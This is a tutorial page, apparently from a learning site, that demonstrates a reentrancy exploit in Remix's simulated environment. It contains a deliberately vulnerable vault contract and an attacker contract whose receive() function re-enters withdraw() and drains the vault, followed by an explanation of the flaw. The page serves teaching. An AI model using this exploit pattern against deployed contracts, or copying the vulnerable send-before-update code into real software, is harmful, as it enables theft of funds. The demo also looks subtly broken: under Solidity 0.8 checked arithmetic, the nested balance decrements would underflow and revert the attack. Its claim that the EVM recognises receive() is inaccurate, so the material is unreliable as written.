Home

Reentrancy Exploit Demo

Use Remix IDE with JavaScript VM to simulate a full reentrancy attack. No MetaMask needed.

Step 1: Open Remix & Select Environment

Step 2: Paste & Compile Vault Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "hardhat/console.sol";

contract VulnerableVault {
    mapping(address => uint256) public balances;
    uint256 public callDepth = 0;

    event Deposit(address indexed user, uint256 amount);
    event WithdrawStart(address indexed user, uint256 amount, uint256 depth);
    event WithdrawEnd(address indexed user, uint256 amount, uint256 depth);

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
        console.log("Deposited:", msg.value, "Balance:", balances[msg.sender]);
    }

    function withdraw(uint256 amount) external {
        callDepth++;
        emit WithdrawStart(msg.sender, amount, callDepth);
        console.log("=== WITHDRAW START ===");
        console.log("Call depth:", callDepth);
        console.log("Balance before:", balances[msg.sender]);
        console.log("Requesting amount:", amount);

        require(balances[msg.sender] >= amount, "Insufficient balance");

        console.log("Sending ETH to:", msg.sender);
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        console.log("ETH sent successfully, now updating balance...");
        balances[msg.sender] -= amount;

        console.log("Balance after:", balances[msg.sender]);
        console.log("=== WITHDRAW END ===");
        emit WithdrawEnd(msg.sender, amount, callDepth);
        callDepth--;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Step 3: Deposit ETH with ac2

Step 4: Paste & Compile Attacker Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "hardhat/console.sol";

interface IVulnerableVault {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
    function balances(address user) external view returns (uint256);
}

contract Attacker {
    IVulnerableVault public vault;
    uint256 public constant ATTACK_AMOUNT = 0.1 ether;
    uint256 public receivedCount = 0;

    event AttackStart();
    event ReceivedETH(uint256 amount, uint256 count);

    constructor(address _vault) {
        vault = IVulnerableVault(_vault);
    }

    function attack() external payable {
        require(msg.value >= ATTACK_AMOUNT, "Need at least 0.1 ETH");
        emit AttackStart();
        console.log(">>> ATTACK STARTED <<<");
        console.log("Vault balance before:", address(vault).balance);

        vault.deposit{value: ATTACK_AMOUNT}();
        console.log("Deposited:", ATTACK_AMOUNT);

        vault.withdraw(ATTACK_AMOUNT);
        console.log(">>> ATTACK COMPLETE <<<");
        console.log("Vault balance after:", address(vault).balance);
        console.log("Attacker balance:", address(this).balance);
    }

    receive() external payable {
        receivedCount++;
        emit ReceivedETH(msg.value, receivedCount);
        console.log("--- RECEIVE TRIGGERED ---");
        console.log("Received ETH:", msg.value);
        console.log("Receive count:", receivedCount);
        console.log("Vault balance:", address(vault).balance);
        console.log("My balance in vault:", vault.balances(address(this)));

        if (address(vault).balance >= ATTACK_AMOUNT && receivedCount < 5) {
            console.log("REENTERING...");
            vault.withdraw(ATTACK_AMOUNT);
        } else {
            console.log("Stopping attack (vault empty or max depth reached)");
        }
    }

    function drain() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Step 5: Execute the Attack

Step 6: Confirm the Breach

How the Hack Works

The Execution Flow

  1. Normal withdrawal: Check balance → Send ETH → Update balance ✅
  2. Reentrancy attack: Check balance → Send ETH → Attacker's receive() triggers
  3. Nested call: receive() calls withdraw() again before balance updates
  4. Same balance check passes: Balance still shows original amount
  5. Recursive drain: Process repeats until vault is empty

🧠 Key Insight:

The vulnerability exists because Solidity allows control to be passed to external contracts during ETH transfers. The attacker's receive() function executes before the original withdraw() completes, creating nested execution contexts that all observe the same outdated balance. This recursive breach is possible because the vault updates its internal state after the ETH transfer.

📌 Note:
  • receive() is a special function in Solidity, triggered automatically when a contract receives ETH with empty calldata. It is not a keyword, but a reserved function signature recognized by the EVM.
  • call is a low-level Solidity function used to send ETH and optionally invoke code on another address. It forwards all available gas and returns a success flag, making it powerful but dangerous—especially when used before updating internal state.

Return to the main shrine or inscribe this exploit in your Codex.